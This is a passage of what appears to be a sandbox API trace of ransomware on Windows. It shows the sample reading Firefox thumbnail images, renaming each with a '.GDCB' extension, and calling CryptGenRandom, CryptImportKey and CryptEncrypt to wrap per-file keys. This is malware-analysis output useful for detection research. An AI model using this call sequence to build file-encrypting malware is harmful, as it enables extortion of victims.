pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.271] CryptEncrypt (in: hKey=0x677ec48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d630*=0x100) returned 1 [0247.271] GetLastError () returned 0x0 [0247.271] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.272] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0247.273] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.276] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.278] ReadFile (in: hFile=0x528, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d670*=0x4d15, lpOverlapped=0x0) returned 1 [0247.288] VirtualAlloc (lpAddress=0x0, dwSize=0x4d20, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.294] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png.gdcb")) returned 1 [0247.297] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0247.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.327] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0247.327] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.327] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0247.330] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.333] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.333] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0247.333] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.333] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0247.335] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ed48) returned 1 [0247.335] CryptGetKeyParam (in: hKey=0x677ed48, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.335] CryptEncrypt (in: hKey=0x677ed48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0247.336] GetLastError () returned 0x0 [0247.336] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.336] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0247.337] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ed88) returned 1 [0247.337] CryptGetKeyParam (in: hKey=0x677ed88, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.337] CryptEncrypt (in: hKey=0x677ed88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d630*=0x100) returned 1 [0247.338] GetLastError () returned 0x0 [0247.338] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.338] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0247.339] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.342] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.344] ReadFile (in: hFile=0x528, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d670*=0x6a58, lpOverlapped=0x0) returned 1 [0247.353] VirtualAlloc (lpAddress=0x0, dwSize=0x6a60, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.360] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png.gdcb")) returned 1 [0247.363] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0247.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.369] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0247.369] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.369] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0247.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.373] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0247.374] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.374] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0247.376] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677edc8) returned 1 [0247.376] CryptGetKeyParam (in: hKey=0x677edc8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.376] CryptEncrypt (in: hKey=0x677edc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0247.376] GetLastError () returned 0x0 [0247.376] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.376] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0247.378] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ee88) returned 1 [0247.378] CryptGetKeyParam (in: hKey=0x677ee88, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.378] CryptEncrypt (in: hKey=0x677ee88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d630*=0x100) returned 1 [0247.379] GetLastError () returned 0x0 [0247.379] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.379] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0247.380] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.383] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.385] ReadFile (in: hFile=0x528, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d670*=0x4e94, lpOverlapped=0x0) returned 1 [0247.394] VirtualAlloc (lpAddress=0x0, dwSize=0x4ea0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.400] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png.gdcb")) returned 1 [0247.403] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0247.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.407] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.407] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0247.407] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.407] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0247.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.412] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0247.412] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.413] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0247.415] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ef88) returned 1 [0247.415] CryptGetKeyParam (in: hKey=0x677ef88, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.415] CryptEncrypt (in: hKey=0x677ef88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0247.416] GetLastError () returned 0x0 [0247.416] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.416] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0247.417] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677f588) returned 1 [0247.417] CryptGetKeyParam (in: hKey=0x677f588, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.417] CryptEncrypt (in: hKey=0x677f588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d630*=0x100) returned 1 [0247.418] GetLastError () returned 0x0 [0247.418] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.418] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0247.419] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.422] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.424] ReadFile (in: hFile=0x528, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d670*=0x44c5, lpOverlapped=0x0) returned 1 [0247.493] VirtualAlloc (lpAddress=0x0, dwSize=0x44d0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.500] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png.gdcb")) returned 1 [0247.504] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0247.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.509] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.509] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0247.509] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.509] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0247.512] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.515] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.515] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0247.515] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.515] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0247.518] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677f408) returned 1 [0247.518] CryptGetKeyParam (in: hKey=0x677f408, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.518] CryptEncrypt (in: hKey=0x677f408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0247.518] GetLastError () returned 0x0 [0247.518] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.518] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0247.520] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677f708) returned 1 [0247.520] CryptGetKeyParam (in: hKey=0x677f708, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.520] CryptEncrypt (in: hKey=0x677f708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d630*=0x100) returned 1 [0247.520] GetLastError () returned 0x0 [0247.520] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.520] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0247.522] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.525] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.528] ReadFile (in: hFile=0x528, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d670*=0x395a, lpOverlapped=0x0) returned 1 [0247.537] VirtualAlloc (lpAddress=0x0, dwSize=0x3960, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.543] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png.gdcb")) returned 1 [0247.546] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0247.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.553] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.553] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0247.553] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.553] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0247.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.558] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0247.558] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.559] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0247.561] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677f848) returned 1 [0247.561] CryptGetKeyParam (in: hKey=0x677f848, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.561] CryptEncrypt (in: hKey=0x677f848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0247.561] GetLastError () returned 0x0 [0247.561] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.561] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0247.564] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677f148) returned 1 [0247.564] CryptGetKeyParam (in: hKey=0x677f148, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.564] CryptEncrypt (in: hKey=0x677f148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d630*=0x100) returned 1 [0247.564] GetLastError () returned 0x0 [0247.564] 